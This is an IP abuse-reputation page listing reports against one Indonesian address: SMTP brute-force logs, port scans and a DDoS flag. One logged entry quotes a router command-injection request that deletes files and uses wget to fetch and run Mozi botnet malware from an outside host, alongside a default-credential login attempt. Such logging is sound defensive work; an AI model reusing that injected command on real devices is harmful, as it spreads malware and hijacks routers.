JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

202.65.231.93

Neutral Activity

Abuse Confidence Score

0% Low Risk

36 reports

25 reporters · latest 1 month ago

ISP: PT Global Telecom Utama
Usage Type: Fixed Line ISP
ASN: AS45700
Hostname(s): customer.jtnaidn2.pop.starlinkisp.net
Domain Name: apjii.or.id
Country: 🇮🇩 Indonesia
City: Surabaya, East Java

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Example preview

Account required for the enhanced features Log in Sign up

Abuse Reports

Export reports CSV

Total reports

36 from 25 distinct reporters

First reported

October 23rd 2025

Most recent report

1 month ago

Last 60 days

Top reporter locations 🇩🇪 Germany 1

Most common categories DDoS Attack 1

Old reports The most recent abuse report for this IP address is from 1 month ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 edgeshield	2026-09-26 06:04:54 UTC · (1 month ago)	Automated web request flooding / DDoS (EdgeShield WAF).	DDoS Attack
🇳🇱 maxxsense	2026-08-31 15:21:48 UTC · (2 months ago)	(postfix-unknown) Failed postfix unknown login with username [redacted] from 202.65.231.93 (ID/Indonesia/customer.jtnaidn2.pop.starlinkisp.net)	Hacking
🇮🇹 CoreTech srl	2026-08-30 12:37:33 UTC · (2 months ago)	Smartermail 14:32:56.350 [94.138.191.54] SMTP Login failed: Domain [atessrl.it] not foundSmartermail 14:32:56.350 [94.138.191.54] SMTP Login failed: That domain was not found. Double check your email address.Smartermail 14:33:27.986 [92.39.153.181] S ... show more Smartermail 14:32:56.350 [94.138.191.54] SMTP Login failed: Domain [atessrl.it] not foundSmartermail 14:32:56.350 [94.138.191.54] SMTP Login failed: That domain was not found. Double check your email address.Smartermail 14:33:27.986 [92.39.153.181] SMTP Login failed: Domain [midifendo.it] not foundSmartermail 14:33:27.986 [92.39.153.181] SMTP Login failed: That domain was not found. Double check your email address.is-6411d9d7 14:33:34.283 [202.65.231.93] SMTP Login failed: Domain [midifendo.it] not foundis-6411d9d7 14:33:34.283 [202.65.231.93] SMTP Login failed: That domain was not found. Double check your email address.is-6411d9d7 14:34:33.634 [196.118.61.44] SMTP Login failed: Domain [midifendo.it] not foundis-6411d9d7 14:34:33.634 [196.118.61.44] SMTP Login failed: That domain was not found. Double check your email address.Smartermail 14:34:35.177 [180.247.241.65] SMTP Login failed: Incorrect password for user [[email protected]]Smartermail 14:34:35.177 [180.247.241.65] SMTP Login failed: Inval show less	Brute-Force
🇪🇸 didevi	2026-08-30 11:39:45 UTC · (2 months ago)	SPAM or Brute force attack detected	Email Spam Brute-Force
🇫🇮 notelseit	2026-08-29 21:32:51 UTC · (2 months ago)	2026-08-29T23:32:36.051275+02:00 mail postfix/submission/smtpd[2587219]: warning: unknown[202.65.231.93]: SASL PLAIN authentication failed: (reason unavailable), [email protected] 2026-08-29T23:32:36.953810+02:00 mail postfix/subm ... show more 2026-08-29T23:32:36.051275+02:00 mail postfix/submission/smtpd[2587219]: warning: unknown[202.65.231.93]: SASL PLAIN authentication failed: (reason unavailable), [email protected] 2026-08-29T23:32:36.953810+02:00 mail postfix/submission/smtpd[2587219]: disconnect from unknown[202.65.231.93] ehlo=2 starttls=1 auth=0/1 commands=3/4 2026-08-29T23:32:51.248891+02:00 mail postfix/submission/smtpd[2586988]: warning: unknown[202.65.231.93]: SASL PLAIN authentication failed: (reason unavailable), [email protected] ... show less	Brute-Force Email Spam
🇮🇹 CoreTech srl	2026-08-28 16:37:33 UTC · (2 months ago)	"SMTP Login failed": count(IP)=42.0MAIL4-new 18:33:00.811 [185.234.9.185] SMTP Login failed: Incorrect password for user [[email protected]]MAIL4-new 18:33:00.811 [185.234.9.185] SMTP Login failed: Invalid username ([email protected]) a ... show more "SMTP Login failed": count(IP)=42.0MAIL4-new 18:33:00.811 [185.234.9.185] SMTP Login failed: Incorrect password for user [[email protected]]MAIL4-new 18:33:00.811 [185.234.9.185] SMTP Login failed: Invalid username ([email protected]) and password combination.is-6411d9d7 18:33:16.631 [185.234.9.185] SMTP Login failed: Incorrect password for user [[email protected]]is-6411d9d7 18:33:16.631 [185.234.9.185] SMTP Login failed: Invalid username ([email protected]) and password combination.MX1-DC2 18:33:29.127 [186.244.182.106] SMTP Login failed: Domain [gorisnc.it] not foundMX1-DC2 18:33:29.127 [186.244.182.106] SMTP Login failed: Username or password is incorrect.MX1-DC2 18:33:32.500 [5.166.12.35] SMTP Login failed: Username or password is incorrect.MX1-DC2 18:33:32.500 [5.166.12.35] SMTP Login failed: Incorrect email address [iln3009]MAIL4-new 18:33:40.311 [202.65.231.93] SMTP Login failed: Incorrect password for user [[email protected]] show less	Brute-Force Bad Web Bot
🇮🇩 Burayot	2026-08-28 15:22:11 UTC · (2 months ago)	LF_SMTPAUTH: (smtpauth) Failed SMTP AUTH login from 202.65.231.93 (ID/Indonesia/customer.jtnaidn2.pop.starlinkisp.net): 1 in the last 3600 secs	Brute-Force
🇦🇹 AustrianSimon	2026-08-28 14:47:33 UTC · (2 months ago)	28 Aug 2026 14:47:33UTC:Distributed Brute Force Password Attack (smtp, ftp, imap, pop, ssh) including ip address 202.65.231.93	Brute-Force
🇮🇩 hermawan	2026-06-14 06:57:10 UTC · (4 months ago)	[Sun Jun 14 13:57:10.246315 2026] [security2:error] [pid 1579587:tid 139664340997824] [client 202.65.231.93:9105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "www.baidu.go.id" at REQUEST_HEADERS:Referer. [file "/etc/modsecurity ... show more [Sun Jun 14 13:57:10.246315 2026] [security2:error] [pid 1579587:tid 139664340997824] [client 202.65.231.93:9105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "www.baidu.go.id" at REQUEST_HEADERS:Referer. [file "/etc/modsecurity/coreruleset-4.26.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "582"] [id "440068"] [msg "BAD Referer"] [data "Matched Data: www.baidu.go.id found within REQUEST_HEADERS:Referer: http://www.baidu.go.id/ request_line = GET /index.php/profil/meteorologi/list-all-categories HTTP/2.0"] [severity "NOTICE"] [hostname "staklim-jatim.bmkg.go.id"] [uri "/index.php/profil/meteorologi/list-all-categories"] [unique_id "ai5QxsBIvttFrc1lpJvN7wAAixE"], referer http://www.baidu.go.id/ [staklim-jatim.bmkg.go.id] [staklim-jatim.bmkg.go.id] top=[1579626] [0EP9NzHTvlE] [ai5QxsBIvttFrc1lpJvN7wAAixE] keep_alive=[1] [2026-06-14 13:57:10.246318] [R:ai5QxsBIvttFrc1lpJvN7wAAixE] UA:'Mozilla/5.0 (Linux; Android 8.0.0; SM-J330G) AppleWebKit/537.36 (KHTML, lik ... show less	Email Spam Hacking
🇨🇳 ThreatBook.io	2026-03-16 23:26:07 UTC · (7 months ago)	ThreatBook Intelligence: Mobile more details on http://threatbook.io/ip/202.65.231.93 2026-03-16 17:00:07 /boaform/admin/formLogin?username=adminisp&psd=adminisp 2026-03-16 11:35:18 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+ ... show more ThreatBook Intelligence: Mobile more details on http://threatbook.io/ip/202.65.231.93 2026-03-16 17:00:07 /boaform/admin/formLogin?username=adminisp&psd=adminisp 2026-03-16 11:35:18 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://103.13.138.22:60907/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 show less	SSH
🇩🇪 zupan	2026-03-16 00:31:24 UTC · (7 months ago)	Blocked by UFW [23/tcp] \| SPT: 1356 \| TTL: 43 \| LEN: 44 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter	Port Scan IoT Targeted
🇨🇳 ThreatBook.io	2026-03-15 23:12:10 UTC · (7 months ago)	ThreatBook Intelligence: Mobile more details on http://threatbook.io/ip/202.65.231.93	SSH
🇹🇷 rtbh.com.tr	2026-03-15 20:12:04 UTC · (7 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
🇫🇷 Kurom	2026-03-15 19:37:13 UTC · (7 months ago)	Port scanning detected on company server. Targeted ports: [23]	Port Scan Hacking
🇬🇧 essinghigh	2026-03-15 15:46:44 UTC · (7 months ago)	IPS Detection: 202.65.231.93 -> DPT: 23	Port Scan

Showing 1 to 15 of 36 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇦🇺 20.53.249.197

🇧🇷 205.210.31.131

🇧🇷 200.175.104.103

🇦🇷 190.244.208.227

🇫🇷 91.231.89.205

🇩🇪 85.155.14.246

🇰🇷 39.123.251.254

🇮🇳 182.73.176.186

🇳🇱 107.151.194.170

🇩🇪 102.220.162.157

🇧🇪 35.210.176.28

🇺🇸 23.239.4.14

🇨🇳 218.1.184.182

🇳🇱 192.253.248.229

🇷🇺 188.35.23.4

🇺🇸 185.117.225.221

🇳🇱 77.67.26.98

🇺🇸 159.203.182.133

🇵🇰 153.117.46.135

🇩🇪 109.160.32.46